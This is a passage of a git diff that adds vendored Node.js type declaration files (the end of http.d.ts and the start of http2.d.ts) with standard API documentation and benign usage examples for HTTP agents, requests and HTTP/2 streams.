keepAliveAgent; + * http.request(options, onResponseCallback) + * ``` + * @since v0.3.4 + */ + class Agent extends EventEmitter { + /** + * By default set to 256. For agents with `keepAlive` enabled, this + * sets the maximum number of sockets that will be left open in the free + * state. + * @since v0.11.7 + */ + maxFreeSockets: number; + /** + * By default set to `Infinity`. Determines how many concurrent sockets the agent + * can have open per origin. Origin is the returned value of `agent.getName()`. + * @since v0.3.6 + */ + maxSockets: number; + /** + * By default set to `Infinity`. Determines how many concurrent sockets the agent + * can have open. Unlike `maxSockets`, this parameter applies across all origins. + * @since v14.5.0, v12.19.0 + */ + maxTotalSockets: number; + /** + * An object which contains arrays of sockets currently awaiting use by + * the agent when `keepAlive` is enabled. Do not modify. + * + * Sockets in the `freeSockets` list will be automatically destroyed and + * removed from the array on `'timeout'`. + * @since v0.11.4 + */ + readonly freeSockets: NodeJS.ReadOnlyDict; + /** + * An object which contains arrays of sockets currently in use by the + * agent. Do not modify. + * @since v0.3.6 + */ + readonly sockets: NodeJS.ReadOnlyDict; + /** + * An object which contains queues of requests that have not yet been assigned to + * sockets. Do not modify. + * @since v0.5.9 + */ + readonly requests: NodeJS.ReadOnlyDict; + constructor(opts?: AgentOptions); + /** + * Destroy any sockets that are currently in use by the agent. + * + * It is usually not necessary to do this. However, if using an + * agent with `keepAlive` enabled, then it is best to explicitly shut down + * the agent when it is no longer needed. Otherwise, + * sockets might stay open for quite a long time before the server + * terminates them. + * @since v0.11.4 + */ + destroy(): void; + } + const METHODS: string[]; + const STATUS_CODES: { + [errorCode: number]: string | undefined; + [errorCode: string]: string | undefined; + }; + /** + * Returns a new instance of {@link Server}. + * + * The `requestListener` is a function which is automatically + * added to the `'request'` event. + * + * ```js + * import http from 'node:http'; + * + * // Create a local server to receive data from + * const server = http.createServer((req, res) => { + * res.writeHead(200, { 'Content-Type': 'application/json' }); + * res.end(JSON.stringify({ + * data: 'Hello World!', + * })); + * }); + * + * server.listen(8000); + * ``` + * + * ```js + * import http from 'node:http'; + * + * // Create a local server to receive data from + * const server = http.createServer(); + * + * // Listen to the request event + * server.on('request', (request, res) => { + * res.writeHead(200, { 'Content-Type': 'application/json' }); + * res.end(JSON.stringify({ + * data: 'Hello World!', + * })); + * }); + * + * server.listen(8000); + * ``` + * @since v0.1.13 + */ + function createServer< + Request extends typeof IncomingMessage = typeof IncomingMessage, + Response extends typeof ServerResponse> = typeof ServerResponse, + >(requestListener?: RequestListener): Server; + function createServer< + Request extends typeof IncomingMessage = typeof IncomingMessage, + Response extends typeof ServerResponse> = typeof ServerResponse, + >( + options: ServerOptions, + requestListener?: RequestListener, + ): Server; + // although RequestOptions are passed as ClientRequestArgs to ClientRequest directly, + // create interface RequestOptions would make the naming more clear to developers + interface RequestOptions extends ClientRequestArgs {} + /** + * `options` in `socket.connect()` are also supported. + * + * Node.js maintains several connections per server to make HTTP requests. + * This function allows one to transparently issue requests. + * + * `url` can be a string or a `URL` object. If `url` is a + * string, it is automatically parsed with `new URL()`. If it is a `URL` object, it will be automatically converted to an ordinary `options` object. + * + * If both `url` and `options` are specified, the objects are merged, with the `options` properties taking precedence. + * + * The optional `callback` parameter will be added as a one-time listener for + * the `'response'` event. + * + * `http.request()` returns an instance of the {@link ClientRequest} class. The `ClientRequest` instance is a writable stream. If one needs to + * upload a file with a POST request, then write to the `ClientRequest` object. + * + * ```js + * import http from 'node:http'; + * import { Buffer } from 'node:buffer'; + * + * const postData = JSON.stringify({ + * 'msg': 'Hello World!', + * }); + * + * const options = { + * hostname: 'www.google.com', + * port: 80, + * path: '/upload', + * method: 'POST', + * headers: { + * 'Content-Type': 'application/json', + * 'Content-Length': Buffer.byteLength(postData), + * }, + * }; + * + * const req = http.request(options, (res) => { + * console.log(`STATUS: ${res.statusCode}`); + * console.log(`HEADERS: ${JSON.stringify(res.headers)}`); + * res.setEncoding('utf8'); + * res.on('data', (chunk) => { + * console.log(`BODY: ${chunk}`); + * }); + * res.on('end', () => { + * console.log('No more data in response.'); + * }); + * }); + * + * req.on('error', (e) => { + * console.error(`problem with request: ${e.message}`); + * }); + * + * // Write data to request body + * req.write(postData); + * req.end(); + * ``` + * + * In the example `req.end()` was called. With `http.request()` one + * must always call `req.end()` to signify the end of the request - + * even if there is no data being written to the request body. + * + * If any error is encountered during the request (be that with DNS resolution, + * TCP level errors, or actual HTTP parse errors) an `'error'` event is emitted + * on the returned request object. As with all `'error'` events, if no listeners + * are registered the error will be thrown. + * + * There are a few special headers that should be noted. + * + * * Sending a 'Connection: keep-alive' will notify Node.js that the connection to + * the server should be persisted until the next request. + * * Sending a 'Content-Length' header will disable the default chunked encoding. + * * Sending an 'Expect' header will immediately send the request headers. + * Usually, when sending 'Expect: 100-continue', both a timeout and a listener + * for the `'continue'` event should be set. See RFC 2616 Section 8.2.3 for more + * information. + * * Sending an Authorization header will override using the `auth` option + * to compute basic authentication. + * + * Example using a `URL` as `options`: + * + * ```js + * const options = new URL('http://abc:xyz@example.com'); + * + * const req = http.request(options, (res) => { + * // ... + * }); + * ``` + * + * In a successful request, the following events will be emitted in the following + * order: + * + * * `'socket'` + * * `'response'` + * * `'data'` any number of times, on the `res` object + * (`'data'` will not be emitted at all if the response body is empty, for + * instance, in most redirects) + * * `'end'` on the `res` object + * * `'close'` + * + * In the case of a connection error, the following events will be emitted: + * + * * `'socket'` + * * `'error'` + * * `'close'` + * + * In the case of a premature connection close before the response is received, + * the following events will be emitted in the following order: + * + * * `'socket'` + * * `'error'` with an error with message `'Error: socket hang up'` and code `'ECONNRESET'` + * * `'close'` + * + * In the case of a premature connection close after the response is received, + * the following events will be emitted in the following order: + * + * * `'socket'` + * * `'response'` + * * `'data'` any number of times, on the `res` object + * * (connection closed here) + * * `'aborted'` on the `res` object + * * `'close'` + * * `'error'` on the `res` object with an error with message `'Error: aborted'` and code `'ECONNRESET'` + * * `'close'` on the `res` object + * + * If `req.destroy()` is called before a socket is assigned, the following + * events will be emitted in the following order: + * + * * (`req.destroy()` called here) + * * `'error'` with an error with message `'Error: socket hang up'` and code `'ECONNRESET'`, or the error with which `req.destroy()` was called + * * `'close'` + * + * If `req.destroy()` is called before the connection succeeds, the following + * events will be emitted in the following order: + * + * * `'socket'` + * * (`req.destroy()` called here) + * * `'error'` with an error with message `'Error: socket hang up'` and code `'ECONNRESET'`, or the error with which `req.destroy()` was called + * * `'close'` + * + * If `req.destroy()` is called after the response is received, the following + * events will be emitted in the following order: + * + * * `'socket'` + * * `'response'` + * * `'data'` any number of times, on the `res` object + * * (`req.destroy()` called here) + * * `'aborted'` on the `res` object + * * `'close'` + * * `'error'` on the `res` object with an error with message `'Error: aborted'` and code `'ECONNRESET'`, or the error with which `req.destroy()` was called + * * `'close'` on the `res` object + * + * If `req.abort()` is called before a socket is assigned, the following + * events will be emitted in the following order: + * + * * (`req.abort()` called here) + * * `'abort'` + * * `'close'` + * + * If `req.abort()` is called before the connection succeeds, the following + * events will be emitted in the following order: + * + * * `'socket'` + * * (`req.abort()` called here) + * * `'abort'` + * * `'error'` with an error with message `'Error: socket hang up'` and code `'ECONNRESET'` + * * `'close'` + * + * If `req.abort()` is called after the response is received, the following + * events will be emitted in the following order: + * + * * `'socket'` + * * `'response'` + * * `'data'` any number of times, on the `res` object + * * (`req.abort()` called here) + * * `'abort'` + * * `'aborted'` on the `res` object + * * `'error'` on the `res` object with an error with message `'Error: aborted'` and code `'ECONNRESET'`. + * * `'close'` + * * `'close'` on the `res` object + * + * Setting the `timeout` option or using the `setTimeout()` function will + * not abort the request or do anything besides add a `'timeout'` event. + * + * Passing an `AbortSignal` and then calling `abort()` on the corresponding `AbortController` will behave the same way as calling `.destroy()` on the + * request. Specifically, the `'error'` event will be emitted with an error with + * the message `'AbortError: The operation was aborted'`, the code `'ABORT_ERR'` and the `cause`, if one was provided. + * @since v0.3.6 + */ + function request(options: RequestOptions | string | URL, callback?: (res: IncomingMessage) => void): ClientRequest; + function request( + url: string | URL, + options: RequestOptions, + callback?: (res: IncomingMessage) => void, + ): ClientRequest; + /** + * Since most requests are GET requests without bodies, Node.js provides this + * convenience method. The only difference between this method and {@link request} is that it sets the method to GET by default and calls `req.end()` automatically. The callback must take care to + * consume the response + * data for reasons stated in {@link ClientRequest} section. + * + * The `callback` is invoked with a single argument that is an instance of {@link IncomingMessage}. + * + * JSON fetching example: + * + * ```js + * http.get('http://localhost:8000/', (res) => { + * const { statusCode } = res; + * const contentType = res.headers['content-type']; + * + * let error; + * // Any 2xx status code signals a successful response but + * // here we're only checking for 200. + * if (statusCode !== 200) { + * error = new Error('Request Failed.\n' + + * `Status Code: ${statusCode}`); + * } else if (!/^application\/json/.test(contentType)) { + * error = new Error('Invalid content-type.\n' + + * `Expected application/json but received ${contentType}`); + * } + * if (error) { + * console.error(error.message); + * // Consume response data to free up memory + * res.resume(); + * return; + * } + * + * res.setEncoding('utf8'); + * let rawData = ''; + * res.on('data', (chunk) => { rawData += chunk; }); + * res.on('end', () => { + * try { + * const parsedData = JSON.parse(rawData); + * console.log(parsedData); + * } catch (e) { + * console.error(e.message); + * } + * }); + * }).on('error', (e) => { + * console.error(`Got error: ${e.message}`); + * }); + * + * // Create a local server to receive data from + * const server = http.createServer((req, res) => { + * res.writeHead(200, { 'Content-Type': 'application/json' }); + * res.end(JSON.stringify({ + * data: 'Hello World!', + * })); + * }); + * + * server.listen(8000); + * ``` + * @since v0.3.6 + * @param options Accepts the same `options` as {@link request}, with the method set to GET by default. + */ + function get(options: RequestOptions | string | URL, callback?: (res: IncomingMessage) => void): ClientRequest; + function get(url: string | URL, options: RequestOptions, callback?: (res: IncomingMessage) => void): ClientRequest; + /** + * Performs the low-level validations on the provided `name` that are done when `res.setHeader(name, value)` is called. + * + * Passing illegal value as `name` will result in a `TypeError` being thrown, + * identified by `code: 'ERR_INVALID_HTTP_TOKEN'`. + * + * It is not necessary to use this method before passing headers to an HTTP request + * or response. The HTTP module will automatically validate such headers. + * + * Example: + * + * ```js + * import { validateHeaderName } from 'node:http'; + * + * try { + * validateHeaderName(''); + * } catch (err) { + * console.error(err instanceof TypeError); // --> true + * console.error(err.code); // --> 'ERR_INVALID_HTTP_TOKEN' + * console.error(err.message); // --> 'Header name must be a valid HTTP token [""]' + * } + * ``` + * @since v14.3.0 + * @param [label='Header name'] Label for error message. + */ + function validateHeaderName(name: string): void; + /** + * Performs the low-level validations on the provided `value` that are done when `res.setHeader(name, value)` is called. + * + * Passing illegal value as `value` will result in a `TypeError` being thrown. + * + * * Undefined value error is identified by `code: 'ERR_HTTP_INVALID_HEADER_VALUE'`. + * * Invalid value character error is identified by `code: 'ERR_INVALID_CHAR'`. + * + * It is not necessary to use this method before passing headers to an HTTP request + * or response. The HTTP module will automatically validate such headers. + * + * Examples: + * + * ```js + * import { validateHeaderValue } from 'node:http'; + * + * try { + * validateHeaderValue('x-my-header', undefined); + * } catch (err) { + * console.error(err instanceof TypeError); // --> true + * console.error(err.code === 'ERR_HTTP_INVALID_HEADER_VALUE'); // --> true + * console.error(err.message); // --> 'Invalid value "undefined" for header "x-my-header"' + * } + * + * try { + * validateHeaderValue('x-my-header', 'oʊmɪɡə'); + * } catch (err) { + * console.error(err instanceof TypeError); // --> true + * console.error(err.code === 'ERR_INVALID_CHAR'); // --> true + * console.error(err.message); // --> 'Invalid character in header content ["x-my-header"]' + * } + * ``` + * @since v14.3.0 + * @param name Header name + * @param value Header value + */ + function validateHeaderValue(name: string, value: string): void; + /** + * Set the maximum number of idle HTTP parsers. + * @since v18.8.0, v16.18.0 + * @param [max=1000] + */ + function setMaxIdleHTTPParsers(max: number): void; + /** + * Global instance of `Agent` which is used as the default for all HTTP client + * requests. Diverges from a default `Agent` configuration by having `keepAlive` + * enabled and a `timeout` of 5 seconds. + * @since v0.5.9 + */ + let globalAgent: Agent; + /** + * Read-only property specifying the maximum allowed size of HTTP headers in bytes. + * Defaults to 16KB. Configurable using the `--max-http-header-size` CLI option. + */ + const maxHeaderSize: number; + /** + * A browser-compatible implementation of [WebSocket](https://nodejs.org/docs/latest/api/http.html#websocket). + * @since v22.5.0 + */ + const WebSocket: import("undici-types").WebSocket; + /** + * @since v22.5.0 + */ + const CloseEvent: import("undici-types").CloseEvent; + /** + * @since v22.5.0 + */ + const MessageEvent: import("undici-types").MessageEvent; +} +declare module "node:http" { + export * from "http"; +} diff --git a/node_modules/@types/node/http2.d.ts b/node_modules/@types/node/http2.d.ts new file mode 100644 index 000000000000..0838ae8b9b8c --- /dev/null +++ b/node_modules/@types/node/http2.d.ts @@ -0,0 +1,2555 @@ +/** + * The `node:http2` module provides an implementation of the [HTTP/2](https://tools.ietf.org/html/rfc7540) protocol. + * It can be accessed using: + * + * ```js + * import http2 from 'node:http2'; + * ``` + * @since v8.4.0 + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/http2.js) + */ +declare module "http2" { + import EventEmitter = require("node:events"); + import * as fs from "node:fs"; + import * as net from "node:net"; + import * as stream from "node:stream"; + import * as tls from "node:tls"; + import * as url from "node:url"; + import { + IncomingHttpHeaders as Http1IncomingHttpHeaders, + IncomingMessage, + OutgoingHttpHeaders, + ServerResponse, + } from "node:http"; + export { OutgoingHttpHeaders } from "node:http"; + export interface IncomingHttpStatusHeader { + ":status"?: number | undefined; + } + export interface IncomingHttpHeaders extends Http1IncomingHttpHeaders { + ":path"?: string | undefined; + ":method"?: string | undefined; + ":authority"?: string | undefined; + ":scheme"?: string | undefined; + } + // Http2Stream + export interface StreamPriorityOptions { + exclusive?: boolean | undefined; + parent?: number | undefined; + weight?: number | undefined; + silent?: boolean | undefined; + } + export interface StreamState { + localWindowSize?: number | undefined; + state?: number | undefined; + localClose?: number | undefined; + remoteClose?: number | undefined; + sumDependencyWeight?: number | undefined; + weight?: number | undefined; + } + export interface ServerStreamResponseOptions { + endStream?: boolean | undefined; + waitForTrailers?: boolean | undefined; + } + export interface StatOptions { + offset: number; + length: number; + } + export interface ServerStreamFileResponseOptions { + // eslint-disable-next-line @typescript-eslint/no-invalid-void-type + statCheck?(stats: fs.Stats, headers: OutgoingHttpHeaders, statOptions: StatOptions): void | boolean; + waitForTrailers?: boolean | undefined; + offset?: number | undefined; + length?: number | undefined; + } + export interface ServerStreamFileResponseOptionsWithError extends ServerStreamFileResponseOptions { + onError?(err: NodeJS.ErrnoException): void; + } + export interface Http2Stream extends stream.Duplex { + /** + * Set to `true` if the `Http2Stream` instance was aborted abnormally. When set, + * the `'aborted'` event will have been emitted. + * @since v8.4.0 + */ + readonly aborted: boolean; + /** + * This property shows the number of characters currently buffered to be written. + * See `net.Socket.bufferSize` for details. + * @since v11.2.0, v10.16.0 + */ + readonly bufferSize: number; + /** + * Set to `true` if the `Http2Stream` instance has been closed. + * @since v9.4.0 + */ + readonly closed: boolean; + /** + * Set to `true` if the `Http2Stream` instance has been destroyed and is no longer + * usable. + * @since v8.4.0 + */ + readonly destroyed: boolean; + /** + * Set to `true` if the `END_STREAM` flag was set in the request or response + * HEADERS frame received, indicating that no additional data should be received + * and the readable side of the `Http2Stream` will be closed. + * @since v10.11.0 + */ + readonly endAfterHeaders: boolean; + /** + * The numeric stream identifier of this `Http2Stream` instance. Set to `undefined` if the stream identifier has not yet been assigned. + * @since v8.4.0 + */ + readonly id?: number | undefined; + /** + * Set to `true` if the `Http2Stream` instance has not yet been assigned a + * numeric stream identifier. + * @since v9.4.0 + */ + readonly pending: boolean; + /** + * Set to the `RST_STREAM` `error code` reported when the `Http2Stream` is + * destroyed after either receiving an `RST_STREAM` frame from the connected peer, + * calling `http2stream.close()`, or `http2stream.destroy()`. Will be `undefined` if the `Http2Stream` has not been closed. + * @since v8.4.0 + */ + readonly rstCode: number; + /** + * An object containing the outbound headers sent for this `Http2Stream`. + * @since v9.5.0 + */ + readonly sentHeaders: OutgoingHttpHeaders; + /** + * An array of objects containing the outbound informational (additional) headers + * sent for this `Http2Stream`. + * @since v9.5.0 + */ + readonly sentInfoHeaders?: OutgoingHttpHeaders[] | undefined; + /** + * An object containing the outbound trailers sent for this `HttpStream`. + * @since v9.5.0 + */ + readonly sentTrailers?: OutgoingHttpHeaders | undefined; + /** + * A reference to the `Http2Session` instance that owns this `Http2Stream`. The + * value will be `undefined` after the `Http2Stream` instance is destroyed. + * @since v8.4.0 + */ + readonly session: Http2Session | undefined; + /** + * Provides miscellaneous information about the current state of the `Http2Stream`. + * + * A current state of this `Http2Stream`. + * @since v8.4.0 + */ + readonly state: StreamState; + /** + * Closes the `Http2Stream` instance by sending an `RST_STREAM` frame to the + * connected HTTP/2 peer. + * @since v8.4.0 + * @param [code=http2.constants.NGHTTP2_NO_ERROR] Unsigned 32-bit integer identifying the error code. + * @param callback An optional function registered to listen for the `'close'` event. + */ + close(code?: number, callback?: () => void): void; + /** + * Updates the priority for this `Http2Stream` instance. + * @since v8.4.0 + */ + priority(options: StreamPriorityOptions): void; + /** + * ```js + * import http2 from 'node:http2'; + * const client = http2.connect('http://example.org:8000'); + * const { NGHTTP2_CANCEL } = http2.constants; + * const req = client.request({ ':path': '/' }); + * + * // Cancel the stream if there's no activity after 5 seconds + * req.setTimeout(5000, () => req.close(NGHTTP2_CANCEL)); + * ``` + * @since v8.4.0 + */ + setTimeout(msecs: number, callback?: () => void): void; + /** + * Sends a trailing `HEADERS` frame to the connected HTTP/2 peer. This method + * will cause the `Http2Stream` to be immediately closed and must only be + * called after the `'wantTrailers'` event has been emitted. When sending a + * request or sending a response, the `options.waitForTrailers` option must be set + * in order to keep the `Http2Stream` open after the final `DATA` frame so that + * trailers can be sent. + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * stream.respond(undefined, { waitForTrailers: true }); + * stream.on('wantTrailers', () => { + * stream.sendTrailers({ xyz: 'abc' }); + * }); + * stream.end('Hello World'); + * }); + * ``` + * + * The HTTP/1 specification forbids trailers from containing HTTP/2 pseudo-header + * fields (e.g. `':method'`, `':path'`, etc). + * @since v10.0.0 + */ + sendTrailers(headers: OutgoingHttpHeaders): void; + addListener(event: "aborted", listener: () => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "data", listener: (chunk: Buffer | string) => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "end", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "finish", listener: () => void): this; + addListener(event: "frameError", listener: (frameType: number, errorCode: number) => void): this; + addListener(event: "pipe", listener: (src: stream.Readable) => void): this; + addListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + addListener(event: "streamClosed", listener: (code: number) => void): this; + addListener(event: "timeout", listener: () => void): this; + addListener(event: "trailers", listener: (trailers: IncomingHttpHeaders, flags: number) => void): this; + addListener(event: "wantTrailers", listener: () => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "aborted"): boolean; + emit(event: "close"): boolean; + emit(event: "data", chunk: Buffer | string): boolean; + emit(event: "drain"): boolean; + emit(event: "end"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "finish"): boolean; + emit(event: "frameError", frameType: number, errorCode: number): boolean; + emit(event: "pipe", src: stream.Readable): boolean; + emit(event: "unpipe", src: stream.Readable): boolean; + emit(event: "streamClosed", code: number): boolean; + emit(event: "timeout"): boolean; + emit(event: "trailers", trailers: IncomingHttpHeaders, flags: number): boolean; + emit(event: "wantTrailers"): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "aborted", listener: () => void): this; + on(event: "close", listener: () => void): this; + on(event: "data", listener: (chunk: Buffer | string) => void): this; + on(event: "drain", listener: () => void): this; + on(event: "end", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "finish", listener: () => void): this; + on(event: "frameError", listener: (frameType: number, errorCode: number) => void): this; + on(event: "pipe", listener: (src: stream.Readable) => void): this; + on(event: "unpipe", listener: (src: stream.Readable) => void): this; + on(event: "streamClosed", listener: (code: number) => void): this; + on(event: "timeout", listener: () => void): this; + on(event: "trailers", listener: (trailers: IncomingHttpHeaders, flags: number) => void): this; + on(event: "wantTrailers", listener: () => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "aborted", listener: () => void): this; + once(event: "close", listener: () => void): this; + once(event: "data", listener: (chunk: Buffer | string) => void): this; + once(event: "drain", listener: () => void): this; + once(event: "end", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "finish", listener: () => void): this; + once(event: "frameError", listener: (frameType: number, errorCode: number) => void): this; + once(event: "pipe", listener: (src: stream.Readable) => void): this; + once(event: "unpipe", listener: (src: stream.Readable) => void): this; + once(event: "streamClosed", listener: (code: number) => void): this; + once(event: "timeout", listener: () => void): this; + once(event: "trailers", listener: (trailers: IncomingHttpHeaders, flags: number) => void): this; + once(event: "wantTrailers", listener: () => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "aborted", listener: () => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "data", listener: (chunk: Buffer | string) => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "end", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "finish", listener: () => void): this; + prependListener(event: "frameError", listener: (frameType: number, errorCode: number) => void): this; + prependListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependListener(event: "streamClosed", listener: (code: number) => void): this; + prependListener(event: "timeout", listener: () => void): this; + prependListener(event: "trailers", listener: (trailers: IncomingHttpHeaders, flags: number) => void): this; + prependListener(event: "wantTrailers", listener: () => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "aborted", listener: () => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "data", listener: (chunk: Buffer | string) => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "end", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "finish", listener: () => void): this; + prependOnceListener(event: "frameError", listener: (frameType: number, errorCode: number) => void): this; + prependOnceListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: "streamClosed", listener: (code: number) => void): this; + prependOnceListener(event: "timeout", listener: () => void): this; + prependOnceListener(event: "trailers", listener: (trailers: IncomingHttpHeaders, flags: number) => void): this; + prependOnceListener(event: "wantTrailers", listener: () => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + export interface ClientHttp2Stream extends Http2Stream { + addListener(event: "continue", listener: () => {}): this; + addListener( + event: "headers", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + addListener(event: "push", listener: (headers: IncomingHttpHeaders, flags: number) => void): this; + addListener( + event: "response", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "continue"): boolean; + emit(event: "headers", headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number): boolean; + emit(event: "push", headers: IncomingHttpHeaders, flags: number): boolean; + emit(event: "response", headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "continue", listener: () => {}): this; + on( + event: "headers", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + on(event: "push", listener: (headers: IncomingHttpHeaders, flags: number) => void): this; + on( + event: "response", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "continue", listener: () => {}): this; + once( + event: "headers", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + once(event: "push", listener: (headers: IncomingHttpHeaders, flags: number) => void): this; + once( + event: "response", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "continue", listener: () => {}): this; + prependListener( + event: "headers", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + prependListener(event: "push", listener: (headers: IncomingHttpHeaders, flags: number) => void): this; + prependListener( + event: "response", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "continue", listener: () => {}): this; + prependOnceListener( + event: "headers", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + prependOnceListener(event: "push", listener: (headers: IncomingHttpHeaders, flags: number) => void): this; + prependOnceListener( + event: "response", + listener: (headers: IncomingHttpHeaders & IncomingHttpStatusHeader, flags: number) => void, + ): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + export interface ServerHttp2Stream extends Http2Stream { + /** + * True if headers were sent, false otherwise (read-only). + * @since v8.4.0 + */ + readonly headersSent: boolean; + /** + * Read-only property mapped to the `SETTINGS_ENABLE_PUSH` flag of the remote + * client's most recent `SETTINGS` frame. Will be `true` if the remote peer + * accepts push streams, `false` otherwise. Settings are the same for every `Http2Stream` in the same `Http2Session`. + * @since v8.4.0 + */ + readonly pushAllowed: boolean; + /** + * Sends an additional informational `HEADERS` frame to the connected HTTP/2 peer. + * @since v8.4.0 + */ + additionalHeaders(headers: OutgoingHttpHeaders): void; + /** + * Initiates a push stream. The callback is invoked with the new `Http2Stream` instance created for the push stream passed as the second argument, or an `Error` passed as the first argument. + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * stream.respond({ ':status': 200 }); + * stream.pushStream({ ':path': '/' }, (err, pushStream, headers) => { + * if (err) throw err; + * pushStream.respond({ ':status': 200 }); + * pushStream.end('some pushed data'); + * }); + * stream.end('some data'); + * }); + * ``` + * + * Setting the weight of a push stream is not allowed in the `HEADERS` frame. Pass + * a `weight` value to `http2stream.priority` with the `silent` option set to `true` to enable server-side bandwidth balancing between concurrent streams. + * + * Calling `http2stream.pushStream()` from within a pushed stream is not permitted + * and will throw an error. + * @since v8.4.0 + * @param callback Callback that is called once the push stream has been initiated. + */ + pushStream( + headers: OutgoingHttpHeaders, + callback?: (err: Error | null, pushStream: ServerHttp2Stream, headers: OutgoingHttpHeaders) => void, + ): void; + pushStream( + headers: OutgoingHttpHeaders, + options?: StreamPriorityOptions, + callback?: (err: Error | null, pushStream: ServerHttp2Stream, headers: OutgoingHttpHeaders) => void, + ): void; + /** + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * stream.respond({ ':status': 200 }); + * stream.end('some data'); + * }); + * ``` + * + * Initiates a response. When the `options.waitForTrailers` option is set, the `'wantTrailers'` event + * will be emitted immediately after queuing the last chunk of payload data to be sent. + * The `http2stream.sendTrailers()` method can then be used to send trailing header fields to the peer. + * + * When `options.waitForTrailers` is set, the `Http2Stream` will not automatically + * close when the final `DATA` frame is transmitted. User code must call either `http2stream.sendTrailers()` or `http2stream.close()` to close the `Http2Stream`. + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * stream.respond({ ':status': 200 }, { waitForTrailers: true }); + * stream.on('wantTrailers', () => { + * stream.sendTrailers({ ABC: 'some value to send' }); + * }); + * stream.end('some data'); + * }); + * ``` + * @since v8.4.0 + */ + respond(headers?: OutgoingHttpHeaders, options?: ServerStreamResponseOptions): void; + /** + * Initiates a response whose data is read from the given file descriptor. No + * validation is performed on the given file descriptor. If an error occurs while + * attempting to read data using the file descriptor, the `Http2Stream` will be + * closed using an `RST_STREAM` frame using the standard `INTERNAL_ERROR` code. + * + * When used, the `Http2Stream` object's `Duplex` interface will be closed + * automatically. + * + * ```js + * import http2 from 'node:http2'; + * import fs from 'node:fs'; + * + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * const fd = fs.openSync('/some/file', 'r'); + * + * const stat = fs.fstatSync(fd); + * const headers = { + * 'content-length': stat.size, + * 'last-modified': stat.mtime.toUTCString(), + * 'content-type': 'text/plain; charset=utf-8', + * }; + * stream.respondWithFD(fd, headers); + * stream.on('close', () => fs.closeSync(fd)); + * }); + * ``` + * + * The optional `options.statCheck` function may be specified to give user code + * an opportunity to set additional content headers based on the `fs.Stat` details + * of the given fd. If the `statCheck` function is provided, the `http2stream.respondWithFD()` method will + * perform an `fs.fstat()` call to collect details on the provided file descriptor. + * + * The `offset` and `length` options may be used to limit the response to a + * specific range subset. This can be used, for instance, to support HTTP Range + * requests. + * + * The file descriptor or `FileHandle` is not closed when the stream is closed, + * so it will need to be closed manually once it is no longer needed. + * Using the same file descriptor concurrently for multiple streams + * is not supported and may result in data loss. Re-using a file descriptor + * after a stream has finished is supported. + * + * When the `options.waitForTrailers` option is set, the `'wantTrailers'` event + * will be emitted immediately after queuing the last chunk of payload data to be + * sent. The `http2stream.sendTrailers()` method can then be used to sent trailing + * header fields to the peer. + * + * When `options.waitForTrailers` is set, the `Http2Stream` will not automatically + * close when the final `DATA` frame is transmitted. User code _must_ call either `http2stream.sendTrailers()` + * or `http2stream.close()` to close the `Http2Stream`. + * + * ```js + * import http2 from 'node:http2'; + * import fs from 'node:fs'; + * + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * const fd = fs.openSync('/some/file', 'r'); + * + * const stat = fs.fstatSync(fd); + * const headers = { + * 'content-length': stat.size, + * 'last-modified': stat.mtime.toUTCString(), + * 'content-type': 'text/plain; charset=utf-8', + * }; + * stream.respondWithFD(fd, headers, { waitForTrailers: true }); 